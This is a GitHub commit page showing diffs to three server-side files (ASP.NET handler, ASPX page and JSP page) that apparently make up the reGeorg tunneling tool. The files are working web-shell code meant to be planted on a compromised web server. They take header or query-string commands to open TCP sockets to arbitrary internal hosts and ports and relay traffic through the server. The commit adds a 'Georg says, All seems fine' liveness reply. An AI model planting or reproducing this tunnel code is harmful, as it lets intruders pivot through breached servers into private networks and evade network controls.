Skip to content

Commit

Permalink
Added "Ask Georg"
Browse files Browse the repository at this point in the history
  • Loading branch information
joda32 committed Aug 8, 2014
1 parent c194eee commit 0f15eb0
Show file tree
Hide file tree
Showing 3 changed files with 89 additions and 81 deletions.
4 changes: 3 additions & 1 deletion tunnel.ashx
Original file line number Diff line number Diff line change
Expand Up @@ -99,6 +99,8 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
context.Response.AddHeader("X-STATUS", "FAIL");
}
}
} else {
context.Response.Write("Georg says, 'All seems fine'");
}
}
catch (Exception exKak)
Expand All @@ -114,4 +116,4 @@ public class GenericHandler1 : IHttpHandler, System.Web.SessionState.IRequiresSe
}
}

}
}
19 changes: 10 additions & 9 deletions tunnel.aspx
Original file line number Diff line number Diff line change
Expand Up @@ -7,18 +7,18 @@
if (Request.HttpMethod == "POST")
{
//String cmd = Request.Headers.Get("X-CMD");
String cmd = Request.QueryString.Get("cmd").ToUpper();
String cmd = Request.QueryString.Get("cmd").ToUpper();
if (cmd == "CONNECT")
{
try
{
String target = Request.QueryString.Get("target").ToUpper();//Request.Headers.Get("X-TARGET");
int port = int.Parse(Request.QueryString.Get("port"));//Request.Headers.Get("X-PORT"));
String target = Request.QueryString.Get("target").ToUpper();
//Request.Headers.Get("X-TARGET");
int port = int.Parse(Request.QueryString.Get("port"));
//Request.Headers.Get("X-PORT"));
IPAddress ip = IPAddress.Parse(target);
System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port);
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
//sender.Blocking = false;
//sender.ReceiveTimeout = 1;
sender.Connect(remoteEP);
sender.Blocking = false;
Session.Add("socket", sender);
Expand Down Expand Up @@ -83,20 +83,21 @@
Response.AddHeader("X-STATUS", "OK");
return;
}
}
catch (Exception ex)
{
Response.AddHeader("X-ERROR", ex.Message);
Response.AddHeader("X-STATUS", "FAIL");
}
}
}
} else {
Response.Write("Georg says, 'All seems fine'");
}
}
catch (Exception exKak)
{
//Response.AddHeader(exKak.Message);
//Response.AddHeader(exKak.Message);
Response.AddHeader("X-ERROR", exKak.Message);
Response.AddHeader("X-ERROR", "FAIL");
}
%>
%>
147 changes: 76 additions & 71 deletions tunnel.jsp
Original file line number Diff line number Diff line change
@@ -1,80 +1,85 @@
<%@page import="java.nio.ByteBuffer, java.net.InetSocketAddress, java.nio.channels.SocketChannel, java.util.Arrays, java.io.IOException, java.net.UnknownHostException, java.net.Socket" trimDirectiveWhitespaces="true"%><%
String cmd = request.getHeader("X-CMD");
response.setHeader("X-STATUS", "OK");
if (cmd.compareTo("CONNECT") == 0) {
try {
String target = request.getHeader("X-TARGET");
int port = Integer.parseInt(request.getHeader("X-PORT"));
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
session.setAttribute("socket", socketChannel);
response.setHeader("X-STATUS", "OK");
} catch (UnknownHostException e) {
System.out.println(e.getMessage());
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
} catch (IOException e) {
System.out.println(e.getMessage());
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
}
} else if (cmd.compareTo("DISCONNECT") == 0) {
SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
try{
socketChannel.socket().close();
} catch (Exception ex) {
System.out.println(ex.getMessage());
}
session.invalidate();
} else if (cmd.compareTo("READ") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
try {
ByteBuffer buf = ByteBuffer.allocate(512);
int bytesRead = socketChannel.read(buf);
ServletOutputStream so = response.getOutputStream();
while (bytesRead > 0){
so.write(buf.array(),0,bytesRead);
so.flush();
buf.clear();
bytesRead = socketChannel.read(buf);
if (cmd != null) {
response.setHeader("X-STATUS", "OK");
if (cmd.compareTo("CONNECT") == 0) {
try {
String target = request.getHeader("X-TARGET");
int port = Integer.parseInt(request.getHeader("X-PORT"));
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
session.setAttribute("socket", socketChannel);
response.setHeader("X-STATUS", "OK");
} catch (UnknownHostException e) {
System.out.println(e.getMessage());
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
} catch (IOException e) {
System.out.println(e.getMessage());
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
}
response.setHeader("X-STATUS", "OK");
so.flush();
so.close();
} catch (Exception e) {
System.out.println(e.getMessage());
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
//socketChannel.socket().close();
}
} else if (cmd.compareTo("FORWARD") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
try {
} else if (cmd.compareTo("DISCONNECT") == 0) {
SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
try{
socketChannel.socket().close();
} catch (Exception ex) {
System.out.println(ex.getMessage());
}
session.invalidate();
} else if (cmd.compareTo("READ") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
try {
ByteBuffer buf = ByteBuffer.allocate(512);
int bytesRead = socketChannel.read(buf);
ServletOutputStream so = response.getOutputStream();
while (bytesRead > 0){
so.write(buf.array(),0,bytesRead);
so.flush();
buf.clear();
bytesRead = socketChannel.read(buf);
}
response.setHeader("X-STATUS", "OK");
so.flush();
so.close();
} catch (Exception e) {
System.out.println(e.getMessage());
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
//socketChannel.socket().close();
}
int readlen = request.getContentLength();
byte[] buff = new byte[readlen];
} else if (cmd.compareTo("FORWARD") == 0){
SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
try {
int readlen = request.getContentLength();
byte[] buff = new byte[readlen];
request.getInputStream().read(buff, 0, readlen);
ByteBuffer buf = ByteBuffer.allocate(readlen);
buf.clear();
buf.put(buff);
buf.flip();
request.getInputStream().read(buff, 0, readlen);
ByteBuffer buf = ByteBuffer.allocate(readlen);
buf.clear();
buf.put(buff);
buf.flip();
while(buf.hasRemaining()) {
socketChannel.write(buf);
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
response.setHeader("X-STATUS", "OK");
//response.getOutputStream().close();
} catch (Exception e) {
System.out.println(e.getMessage());
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
socketChannel.socket().close();
}
response.setHeader("X-STATUS", "OK");
//response.getOutputStream().close();
} catch (Exception e) {
System.out.println(e.getMessage());
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
socketChannel.socket().close();
}
}
} else {
//PrintWriter o = response.getWriter();
out.print("Georg says, 'All seems fine'");
}
%>

0 comments on commit 0f15eb0

Please sign in to comment.